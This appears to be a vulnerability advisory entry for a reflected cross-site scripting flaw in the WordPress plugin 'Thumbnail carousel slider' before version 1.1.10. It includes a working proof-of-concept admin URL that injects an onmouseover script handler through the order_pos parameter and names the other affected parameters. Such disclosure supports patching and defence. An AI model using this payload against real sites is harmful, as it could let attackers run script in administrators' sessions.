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wpexploitChien VuongWPEX-ID:0487C3F6-1A3C-4089-A614-15138F52F69B
HistoryApr 18, 2023 - 12:00 a.m.

Thumbnail carousel slider < 1.1.10 - Reflected XSS

2023-04-1800:00:00
Chien Vuong
49
xss
logged in admin
get request

0.001 Low

EPSS

Percentile

31.2%

The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting vulnerability which could be used against high privilege users such as admin.

Make a logged in admin open: GET /wp-admin/admin.php?page=responsive_thumbnail_slider_image_management&order_by=title&order_pos=uqxt1%22%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20cxz0m
 
Affected parameters: order_by, order_pos, and search_term

0.001 Low

EPSS

Percentile

31.2%

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